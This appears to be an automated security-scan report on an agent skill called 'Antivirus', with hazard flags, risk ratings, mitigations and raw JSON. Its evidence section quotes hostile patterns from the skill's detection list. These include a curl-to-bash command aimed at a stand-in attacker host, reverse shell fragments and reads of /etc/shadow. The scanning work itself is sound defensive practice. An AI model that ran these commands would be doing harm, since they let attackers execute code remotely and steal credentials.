๐Ÿ›ก๏ธ SafeAgentSkills

Antivirus

View on ClawHub โ†— ยท v1.1.2

โฌ‡ 1,449 downloads

High Risk

Scan installed OpenClaw skills for malicious code patterns including ClickFix social engineering, reverse shell (RAT), and data exfiltration. Uses OG-Text model for agentic detection.

H:4 D:4 A:0 C:1

โš ๏ธ Hazard Flags

EXEC CODE_EXEC FS_READ_WORKSPACE FS_READ_USER NET_EGRESS_ANY CREDS_ENV CREDS_FILES CREDS_BROWSER CREDS_KEYCHAIN PI_WEB PI_DOCUMENTS

๐Ÿ“‹ Capabilities

Execution

  • โœ… Shell execution
  • โœ… Code execution
  • โŒ Install dependencies
  • โŒ Persistence
  • Privilege: user

Filesystem

  • โœ… Read workspace
  • โŒ Write workspace
  • โœ… Read home
  • โŒ Write home
  • โŒ Read system
  • โŒ Delete

Network

  • Egress: any
  • โŒ Ingress

Credentials

  • โœ… Environment vars
  • โœ… Credential files
  • โœ… Browser data
  • โœ… Keychain

Actions

โŒ send messagesโŒ post publicโŒ purchaseโŒ transfer moneyโŒ deployโŒ delete external

๐Ÿ”’ Containment

Level: maximum

Required:
  • SANDBOX_CONTAINER: Code execution capability
Recommended:
  • LOG_ACTIONS: Audit trail for all actions

โšก Risks

Pipe-to-shell pattern detected (curl|bash) in: SKILL.md critical

Mitigation: Do not execute. Review source for malicious intent.

SSH key access patterns in: SKILL.md high

Mitigation: Verify legitimate need for SSH access. Consider sandboxing.

Keychain/credential store access in: SKILL.md high

Mitigation: Block keychain access or use isolated environment.

Unauthorized tool use: TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL critical

Mitigation: Remove system modification commands

Command injection risk: MCP_CMD_REVERSE_SHELL, MCP_CMD_DANGEROUS_SYSTEM, MCP_CMD_NETWORK_TOOLS critical

Mitigation: Remove reverse shell commands.

Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION low

Mitigation: Provide clear, detailed description of skill functionality

Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD, MCP_EXFIL_CONVERSATION high

Mitigation: Document all external data transfers. Remove suspicious upload references.

Want a deeper analysis?

This report was generated by static analysis. Get an LLM-powered deep review with behavioral reasoning and attack surface mapping.

๐Ÿง  Deep Analysis โ€” $5.00

๐Ÿšจ Incident Response

Kill switch: Stop the agent process

Containment: Review logs for unexpected actions

Recovery: Depends on skill capabilities

๐Ÿ“„ Raw SSDS JSON click to expand
{
  "meta": {
    "document_id": "ssds:auto:skill-scanner:1.1.2",
    "ssds_version": "0.2.0",
    "scanner_version": "0.4.0+fe6fd9123d50",
    "created_at": "2026-03-05T11:00:19.701Z",
    "created_by": {
      "agent": "safeagentskills-cli/generate-ssds"
    },
    "language": "en",
    "notes": "Auto-generated SSDS. Manual review recommended."
  },
  "skill": {
    "name": "Antivirus",
    "version": "1.1.2",
    "format": "agent_skill",
    "description": "Scan installed OpenClaw skills for malicious code patterns including ClickFix social engineering, reverse shell (RAT), and data exfiltration. Uses OG-Text model for agentic detection.",
    "publisher": "ClawHub",
    "source": {
      "channel": "clawhub",
      "slug": "antivirus",
      "owner": "ThomasLWang",
      "downloads": 1449,
      "stars": 0
    },
    "artifact": {
      "sha256": "3fb5c884b1b3a441eaa4149fadc3e7eca7cca1b38e5537d7287e9b97b915834c",
      "hash_method": "files_sorted"
    }
  },
  "capabilities": {
    "execution": {
      "can_exec_shell": true,
      "can_exec_code": true,
      "privilege_level": "user",
      "can_install_deps": false,
      "can_persist": false
    },
    "filesystem": {
      "reads_workspace": true,
      "reads_user_home": true,
      "reads_system": false,
      "writes_workspace": false,
      "writes_user_home": false,
      "writes_system": false,
      "can_delete": false
    },
    "network": {
      "egress": "any",
      "ingress": false
    },
    "credentials": {
      "reads_env_vars": true,
      "reads_credential_files": true,
      "reads_browser_data": true,
      "reads_keychain": true
    },
    "services": [],
    "actions": {
      "can_send_messages": false,
      "can_post_public": false,
      "can_purchase": false,
      "can_transfer_money": false,
      "can_deploy": false,
      "can_delete_external": false
    },
    "prompt_injection_surfaces": [
      "web",
      "documents"
    ],
    "content_types": [
      "general"
    ]
  },
  "hazards": {
    "hdac": {
      "H": 4,
      "D": 4,
      "A": 0,
      "C": 1
    },
    "flags": [
      "EXEC",
      "CODE_EXEC",
      "FS_READ_WORKSPACE",
      "FS_READ_USER",
      "NET_EGRESS_ANY",
      "CREDS_ENV",
      "CREDS_FILES",
      "CREDS_BROWSER",
      "CREDS_KEYCHAIN",
      "PI_WEB",
      "PI_DOCUMENTS"
    ],
    "custom_flags": [
      {
        "code": "PIPE_TO_SHELL",
        "name": "Pipe to Shell",
        "description": "Downloads and executes remote code (curl|bash pattern) in: SKILL.md"
      },
      {
        "code": "CRED_SSH",
        "name": "SSH Key Access",
        "description": "Accesses SSH keys in: SKILL.md"
      },
      {
        "code": "CRED_KEYCHAIN",
        "name": "Keychain Access",
        "description": "Accesses system keychain in: SKILL.md"
      },
      {
        "code": "PROMPT_INJECTION",
        "name": "Prompt Injection Risk",
        "description": "Contains prompt injection patterns in: SKILL.md"
      },
      {
        "code": "TOOL_ABUSE",
        "name": "Unauthorized Tool Use",
        "description": "TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL: Modifying system permissions or configuration"
      },
      {
        "code": "SOCIAL_ENGINEERING",
        "name": "Social Engineering Risk",
        "description": "SOCIAL_ENG_VAGUE_DESCRIPTION: Skill description is too vague or missing"
      },
      {
        "code": "COMMAND_INJECTION",
        "name": "Command Injection Risk",
        "description": "MCP_CMD_REVERSE_SHELL, MCP_CMD_DANGEROUS_SYSTEM, MCP_CMD_NETWORK_TOOLS: Reverse shell pattern detected"
      },
      {
        "code": "DATA_EXFILTRATION",
        "name": "Data Exfiltration Risk",
        "description": "MCP_EXFIL_EXTERNAL_UPLOAD, MCP_EXFIL_CONVERSATION: Description mentions uploading data to external servers"
      }
    ],
    "confidence": {
      "level": "medium",
      "basis": [
        "static_analysis"
      ],
      "notes": "Detected 8 security patterns (8 vendored rule hits). Review recommended."
    },
    "rationale": {
      "H": "H4: Critical: Privilege escalation or malware detected",
      "D": "D4: Critical: Credential theft or data exfiltration",
      "A": "A0: No side effects detected",
      "C": "C1: General content"
    }
  },
  "containment": {
    "level": "maximum",
    "required": [
      {
        "control": "SANDBOX_CONTAINER",
        "reason": "Code execution capability"
      }
    ],
    "recommended": [
      {
        "control": "LOG_ACTIONS",
        "reason": "Audit trail for all actions"
      }
    ],
    "uncontained_risk": "Risk level depends on manual review of actual capabilities."
  },
  "risks": {
    "risks": [
      {
        "risk": "Pipe-to-shell pattern detected (curl|bash) in: SKILL.md",
        "severity": "critical",
        "mitigation": "Do not execute. Review source for malicious intent."
      },
      {
        "risk": "SSH key access patterns in: SKILL.md",
        "severity": "high",
        "mitigation": "Verify legitimate need for SSH access. Consider sandboxing."
      },
      {
        "risk": "Keychain/credential store access in: SKILL.md",
        "severity": "high",
        "mitigation": "Block keychain access or use isolated environment."
      },
      {
        "risk": "Unauthorized tool use: TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL",
        "severity": "critical",
        "mitigation": "Remove system modification commands"
      },
      {
        "risk": "Command injection risk: MCP_CMD_REVERSE_SHELL, MCP_CMD_DANGEROUS_SYSTEM, MCP_CMD_NETWORK_TOOLS",
        "severity": "critical",
        "mitigation": "Remove reverse shell commands."
      },
      {
        "risk": "Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION",
        "severity": "low",
        "mitigation": "Provide clear, detailed description of skill functionality"
      },
      {
        "risk": "Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD, MCP_EXFIL_CONVERSATION",
        "severity": "high",
        "mitigation": "Document all external data transfers. Remove suspicious upload references."
      }
    ],
    "limitations": [
      "Static analysis only - runtime behavior not verified"
    ]
  },
  "incident_response": {
    "kill_switch": [
      "Stop the agent process"
    ],
    "containment": [
      "Review logs for unexpected actions"
    ],
    "recovery": [
      "Depends on skill capabilities"
    ]
  },
  "evidence": [
    {
      "evidence_id": "EV:file-1",
      "type": "file_excerpt",
      "title": "_meta.json",
      "file_path": "_meta.json"
    },
    {
      "evidence_id": "EV:file-2",
      "type": "file_excerpt",
      "title": "SKILL.md",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-1",
      "type": "file_excerpt",
      "title": "TOOL_ABUSE_SYSTEM_MODIFICATION [CRITICAL] SKILL.md:149: - Reading /etc/passwd, /etc/shadow, or system configuration files",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-2",
      "type": "file_excerpt",
      "title": "INSTRUCTED_BINARY_INSTALL [HIGH] SKILL.md:223: Suspicious code: curl https://evil.com/setup.sh | bash",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-3",
      "type": "file_excerpt",
      "title": "SOCIAL_ENG_VAGUE_DESCRIPTION [LOW] SKILL.md:1: ---",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-4",
      "type": "file_excerpt",
      "title": "MCP_EXFIL_EXTERNAL_UPLOAD [HIGH] SKILL.md:136: - Tunneling or port forwarding to external hosts",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-5",
      "type": "file_excerpt",
      "title": "MCP_EXFIL_CONVERSATION [HIGH] SKILL.md:148: - Clipboard monitoring or screenshot capture",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-6",
      "type": "file_excerpt",
      "title": "MCP_CMD_REVERSE_SHELL [CRITICAL] SKILL.md:132: - Reverse shell connections (bash -i >& /dev/tcp/, nc -e, python socket connect-",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-7",
      "type": "file_excerpt",
      "title": "MCP_CMD_DANGEROUS_SYSTEM [CRITICAL] SKILL.md:126: - PowerShell download cradles or encoded commands",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:cisco-8",
      "type": "file_excerpt",
      "title": "MCP_CMD_NETWORK_TOOLS [HIGH] SKILL.md:132: - Reverse shell connections (bash -i >& /dev/tcp/, nc -e, python socket connect-",
      "file_path": "SKILL.md"
    }
  ]
}